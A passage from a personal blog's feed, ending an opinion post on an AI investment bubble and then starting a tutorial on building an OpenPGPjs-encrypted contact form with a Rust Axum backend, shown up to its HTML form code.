&lt;p&gt;I’m not an economist, I am not well-versed in these subjects, but I fear it won’t be pretty. The AI bubble is estimated by some to be &lt;a href=&quot;https:&#x2F;&#x2F;www.marketwatch.com&#x2F;story&#x2F;the-ai-bubble-is-17-times-the-size-of-the-dot-com-frenzy-this-analyst-argues-046e7c5c&quot;&gt;&lt;strong&gt;17 times&lt;&#x2F;strong&gt; bigger than the dot-com bust and &lt;strong&gt;4 times the subprime bubble&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt;. We’re probably in for another financial crisis: AI companies will go under, people will get fired, markets around the world will be affected, buckets upon buckets of money will disappear… and &lt;a href=&quot;https:&#x2F;&#x2F;www.ft.com&#x2F;content&#x2F;7fe1362b-d696-4334-86ef-607b80f1739f&quot;&gt;Michael Burry will get richer&lt;&#x2F;a&gt;. It sucks all around, and we probably can’t do much to prevent it. But what &lt;em&gt;can&lt;&#x2F;em&gt; we do?&lt;&#x2F;p&gt;
&lt;p&gt;At an individual scale, really only one thing: &lt;strong&gt;stop using online generative AI&lt;&#x2F;strong&gt;. Use local models if you must, and brace for impact. The faster the bubble bursts, the sooner the madness stops, and, &lt;em&gt;I dare hope&lt;&#x2F;em&gt;, the sooner we can focus on keeping a habitable planet and improving lives around the globe instead of continuing to waste resources we can’t spare.&lt;&#x2F;p&gt;
&lt;p&gt;Thank you for making it this far! I would love to hear your thoughts on the matter. You can leave a comment down below or use my &lt;a href=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;contact&#x2F;&quot;&gt;contact form&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The world&#x27;s most interesting contact form</title>
        <published>2025-11-20T00:00:00+00:00</published>
        <updated>2025-11-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/world-most-interesting-contact-form/"/>
        <id>https://zoug.fr/world-most-interesting-contact-form/</id>
        
        <content type="html" xml:base="https://zoug.fr/world-most-interesting-contact-form/">&lt;h1 id=&quot;contact&quot;&gt;Contact&lt;&#x2F;h1&gt;
&lt;p&gt;You can send me an &lt;strong&gt;end-to-end encrypted&lt;&#x2F;strong&gt; email by filling out this form:&lt;&#x2F;p&gt;
&lt;script defer src=&quot;&#x2F;pgp-contact.js&quot; type=&quot;module&quot;&gt;&lt;&#x2F;script&gt;

&lt;div class=&quot;form-box&quot;&gt;
&lt;form id=&quot;contact-form&quot;&gt;
  &lt;b&gt;&lt;label for=&quot;reply-to&quot;&gt;Your valid e-mail address:&lt;&#x2F;label&gt;&lt;&#x2F;b&gt;
  &lt;input type=&quot;email&quot; id=&quot;reply-to&quot; class=&quot;form-input&quot;&#x2F;&gt;
  &lt;p&gt;&lt;&#x2F;p&gt;
  &lt;b&gt;&lt;label for=&quot;pgp-message&quot;&gt;What&#x27;s on your mind?&lt;&#x2F;label&gt;&lt;&#x2F;b&gt;
  &lt;textarea id=&quot;pgp-message&quot; class=&quot;form-input&quot;&gt;&lt;&#x2F;textarea&gt;
  &lt;hr&gt;
  &lt;button type=&quot;submit&quot;&gt;Submit&lt;&#x2F;button&gt;
  &lt;blockquote id=&quot;contact-form-200&quot; class=&quot;markdown-alert-note error-message&quot;&gt;
    &lt;p&gt;Thank you! Your message has been stored on the server.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;contact-form-400&quot; class=&quot;markdown-alert-warning error-message&quot;&gt;
    &lt;p&gt;Sorry! There&#x27;s a problem with your message or the supplied email address.&lt;&#x2F;p&gt;
    &lt;p&gt;Make sure you only use usual characters in the email address, and that your message is not too long, then try sending it again.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;contact-form-403&quot; class=&quot;markdown-alert-caution error-message&quot;&gt;
    &lt;p&gt;Sorry! You&#x27;ve sent too much requets and are now banned for the time being, or you&#x27;re not deemed trustworthy by CrowdSec.&lt;&#x2F;p&gt;
    &lt;p&gt;If you&#x27;re using Tor, use my &lt;a href=&quot;https:&#x2F;&#x2F;zougfriqn4pmip5tsujpzuj4gp4opwjehkkrksacy6iqsifm25tm6byd.onion&quot;&gt;onion service&lt;&#x2F;a&gt; instead of the clearnet website.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;contact-form-429&quot; class=&quot;markdown-alert-caution error-message&quot;&gt;
    &lt;p&gt;Sorry! You&#x27;re sending too much requests.&lt;&#x2F;p&gt;
    &lt;p&gt;Please wait a bit before trying again.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;contact-form-500&quot; class=&quot;markdown-alert-warning error-message&quot;&gt;
    &lt;p&gt;Sorry! An unexpected error occured.&lt;&#x2F;p&gt;
    &lt;p&gt;Please wait a bit before trying again.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;contact-form-error&quot; class=&quot;markdown-alert-caution error-message&quot;&gt;
    &lt;p&gt;Sorry! The back-end is probably down for maintenance or (oh my) too much load.&lt;&#x2F;p&gt;
    &lt;p&gt;Please wait a bit before trying again.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
&lt;&#x2F;form&gt;
&lt;&#x2F;div&gt;

&lt;p&gt;This form requires you to &lt;strong&gt;verify your email address&lt;&#x2F;strong&gt; (sorry, but otherwise the spam could become too much to handle): a token will be sent to you by email.&lt;&#x2F;p&gt;

&lt;div class=&quot;form-box&quot;&gt;
&lt;form id=&quot;token-form&quot;&gt;
  &lt;p&gt;Your encrypted message has been saved on the server and is ready to be sent. A token has been sent to the supplied email address.&lt;&#x2F;p&gt;
  &lt;p&gt;Input your validation token below to confirm your email address. I&#x27;ll then receive your message.&lt;&#x2F;p&gt;
  &lt;input type=&quot;hidden&quot; id=&quot;msg-id&quot; &#x2F;&gt;
  &lt;b&gt;&lt;label for=&quot;token&quot;&gt;Your validation token:&lt;&#x2F;label&gt;&lt;&#x2F;b&gt;
  &lt;input id=&quot;token&quot; class=&quot;form-input&quot;&#x2F;&gt;
  &lt;hr&gt;
  &lt;button type=&quot;submit&quot;&gt;Submit&lt;&#x2F;button&gt;
  &lt;blockquote id=&quot;token-form-200&quot; class=&quot;markdown-alert-note error-message&quot;&gt;
    &lt;p&gt;Thank you! Your message has been sent.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;token-form-400&quot; class=&quot;markdown-alert-warning error-message&quot;&gt;
    &lt;p&gt;Sorry! There&#x27;s a problem with the supplied token.&lt;&#x2F;p&gt;
    &lt;p&gt;Make sure you only input the token itself (no spaces or other characters), then try sending it again.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;token-form-403&quot; class=&quot;markdown-alert-warning error-message&quot;&gt;
    &lt;p&gt;Sorry! You&#x27;ve sent too much requets and are now banned for the time being, or you&#x27;re not deemed trustworthy by CrowdSec.&lt;&#x2F;p&gt;
    &lt;p&gt;If you&#x27;re using Tor, use my &lt;a href=&quot;https:&#x2F;&#x2F;zougfriqn4pmip5tsujpzuj4gp4opwjehkkrksacy6iqsifm25tm6byd.onion&quot;&gt;onion service&lt;&#x2F;a&gt; instead of the clearnet website.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;token-form-404&quot; class=&quot;markdown-alert-warning error-message&quot;&gt;
    &lt;p&gt;Sorry! This is not the right token for the supplied message.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;token-form-429&quot; class=&quot;markdown-alert-caution error-message&quot;&gt;
    &lt;p&gt;Sorry! You&#x27;re sending too much requests.&lt;&#x2F;p&gt;
    &lt;p&gt;Please wait a bit before trying again.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;token-form-500&quot; class=&quot;markdown-alert-warning error-message&quot;&gt;
    &lt;p&gt;Sorry! An unexpected error occured.&lt;&#x2F;p&gt;
    &lt;p&gt;Please wait a bit before trying again.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
  &lt;blockquote id=&quot;token-form-error&quot; class=&quot;markdown-alert-caution error-message&quot;&gt;
    &lt;p&gt;Sorry! The back-end is probably down for maintenance or (oh my) too much load.&lt;&#x2F;p&gt;
    &lt;p&gt;Please wait a bit before trying again.&lt;&#x2F;p&gt;
  &lt;&#x2F;blockquote&gt;
&lt;&#x2F;form&gt;
&lt;&#x2F;div&gt;
&lt;h1 id=&quot;what-makes-this-contact-form-so-interesting&quot;&gt;What makes this contact form so interesting?&lt;&#x2F;h1&gt;
&lt;p&gt;Okey, maybe calling it &lt;em&gt;the world’s most interesting&lt;&#x2F;em&gt; contact form is a little overstatement.&lt;&#x2F;p&gt;
&lt;p&gt;This article will first talk about &lt;strong&gt;OpenPGP&lt;&#x2F;strong&gt;, what it is and how it works. We’ll use the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;openpgpjs&#x2F;openpgpjs&#x2F;&quot;&gt;&lt;strong&gt;OpenPGPjs&lt;&#x2F;strong&gt; library&lt;&#x2F;a&gt;, a JavaScript implementation of OpenPGP, to encrypt your message for me directly in your web browser.&lt;&#x2F;p&gt;
&lt;p&gt;We’ll then code a little &lt;strong&gt;Rust backend&lt;&#x2F;strong&gt; &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;axum&#x2F;latest&#x2F;axum&#x2F;&quot;&gt;using &lt;strong&gt;Axum&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt; to handle your message. Nothing complicated: just a route to receive the message, some input validation, and sending an email with the &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;lettre&#x2F;latest&#x2F;lettre&#x2F;&quot;&gt;&lt;strong&gt;lettre&lt;&#x2F;strong&gt; crate&lt;&#x2F;a&gt; using SMTP.&lt;&#x2F;p&gt;
&lt;p&gt;A message sent using this form is &lt;strong&gt;end-to-end encrypted&lt;&#x2F;strong&gt;, meaning it has been encrypted &lt;strong&gt;before leaving your device&lt;&#x2F;strong&gt; (i.e. your computer or your smartphone’s web browser), then &lt;strong&gt;decrypted on the final device receiving it&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;After showing you the code, we’ll talk a little more about &lt;strong&gt;Proton Mail&lt;&#x2F;strong&gt;, the email provider I’m using here, what I am basing the end-to-end encryption claim on, and the privacy of email in general.&lt;&#x2F;p&gt;
&lt;p&gt;I hope you’ll enjoy the article!&lt;&#x2F;p&gt;
&lt;h1 id=&quot;encryption-on-the-client-side-with-openpgpjs&quot;&gt;Encryption on the client-side with OpenPGPjs&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;openpgp&quot;&gt;OpenPGP&lt;&#x2F;h2&gt;
&lt;p&gt;We all use encryption every day, to protect sensitive data in transit on the Internet. An example you’re probably familiar with is &lt;strong&gt;HTTPS&lt;&#x2F;strong&gt;, which allows you to browse the Internet securely. &lt;strong&gt;Pretty Good Privacy&lt;&#x2F;strong&gt; (PGP) is an encryption software suite first developed in 1991, which the OpenPGP &lt;a href=&quot;https:&#x2F;&#x2F;www.rfc-editor.org&#x2F;rfc&#x2F;rfc9580&quot;&gt;standard&lt;&#x2F;a&gt; is based on.&lt;&#x2F;p&gt;
&lt;p&gt;The way OpenPGP works is by leveraging what’s called &lt;strong&gt;public-key cryptography&lt;&#x2F;strong&gt;, best explained by this simple diagram:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img class=&quot;&quot;alt=&quot;Bob uses Alice&amp;#x27;s public key to encrypt a message, Alice uses her private key to decrypt it.&quot;src=&quot;pub-key-crypto.svg&quot;&#x2F;&gt;
&lt;figcaption&gt;Bob uses Alice&#x27;s public key to encrypt a message, Alice uses her private key to decrypt it.&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;To use OpenPGP, you generate what’s called a &lt;strong&gt;keypair&lt;&#x2F;strong&gt;: a public and private key linked together. The public key is, as the name implies, &lt;strong&gt;public&lt;&#x2F;strong&gt;: you can widely share it, it is used to &lt;strong&gt;encrypt&lt;&#x2F;strong&gt; messages that can only be decrypted by the corresponding &lt;strong&gt;private&lt;&#x2F;strong&gt; key. And of course, you need to keep your private key &lt;strong&gt;private&lt;&#x2F;strong&gt;: anyone could decrypt messages meant for you with it.&lt;&#x2F;p&gt;
&lt;p&gt;OpenPGP is used in a variety of contexts, e.g. to &lt;em&gt;cryptographically sign&lt;&#x2F;em&gt; &lt;a href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;DebianKeyring&quot;&gt;contributions to Debian&lt;&#x2F;a&gt;. These &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Digital_signature&quot;&gt;digital signatures&lt;&#x2F;a&gt; are another use of public keys, but we’re not getting into that here.&lt;&#x2F;p&gt;
&lt;p&gt;We’ll focus on &lt;strong&gt;email encryption&lt;&#x2F;strong&gt; specifically, one of OpenPGP’s most used applications. Since OpenPGP is a standard, a lot of different tools implement it (e.g. &lt;code&gt;gnupg&lt;&#x2F;code&gt;). In this article, we want to use the OpenPGP standard &lt;strong&gt;within a web browser&lt;&#x2F;strong&gt;, i.e. the &lt;strong&gt;client-side&lt;&#x2F;strong&gt; for users of our contact form. To do so, we need a JavaScript library (or something that can run on a web browser like &lt;a href=&quot;https:&#x2F;&#x2F;webassembly.org&#x2F;&quot;&gt;WebAssembly&lt;&#x2F;a&gt;), and here we’ll use &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;openpgpjs&#x2F;openpgpjs&#x2F;&quot;&gt;OpenPGPjs&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;openpgpjs-powered-form&quot;&gt;OpenPGPjs-powered form&lt;&#x2F;h2&gt;
&lt;p&gt;First, let’s create our HTML form:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; class=&quot;language-html z-code&quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;&lt;span class=&quot;z-meta z-tag z-block z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-block z-form z-html&quot;&gt;form&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-id z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-id z-html&quot;&gt;id&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-meta z-toc-list z-id z-html&quot;&gt;contact_form&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;  &lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;label&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-html&quot;&gt;for&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;reply_to&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;Your valid e-mail address:&lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;label&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;  &lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;input&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-html&quot;&gt;type&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;email&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-id z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-id z-html&quot;&gt;id&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-meta z-toc-list z-id z-html&quot;&gt;reply_to&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;  &lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;label&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-html&quot;&gt;for&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;subject&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;Subject:&lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;label&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;  &lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;input&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-id z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-id z-html&quot;&gt;id&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-meta z-toc-list z-id z-html&quot;&gt;subject&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;  &lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;label&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-html&quot;&gt;for&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;message&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;What&amp;#39;s on your mind?&lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;label&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;  &lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;textarea&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-id z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-id z-html&quot;&gt;id&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-meta z-toc-list z-id z-html&quot;&gt;message&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;textarea&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;  &lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;button&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-html&quot;&gt;type&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;submit&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;Submit&lt;span class=&quot;z-meta z-tag z-inline z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-inline z-form z-html&quot;&gt;button&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;&lt;span class=&quot;z-meta z-tag z-block z-form z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-block z-form z-html&quot;&gt;form&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This will look horrendous out-of-the-box, of course: CSS can help you make it look better (in my case, it’s a skill issue).&lt;&#x2F;p&gt;
&lt;p&gt;We’ll also need to include a JavaScript module, that we’ll call &lt;code&gt;pgp-contact.js&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; class=&quot;language-html z-code&quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;z-text z-html z-basic&quot;&gt;&lt;span class=&quot;z-meta z-tag z-script z-begin z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-script z-html&quot;&gt;script&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-tag z-script z-begin z-html&quot;&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-html&quot;&gt;defer&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-html&quot;&gt;src&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;span 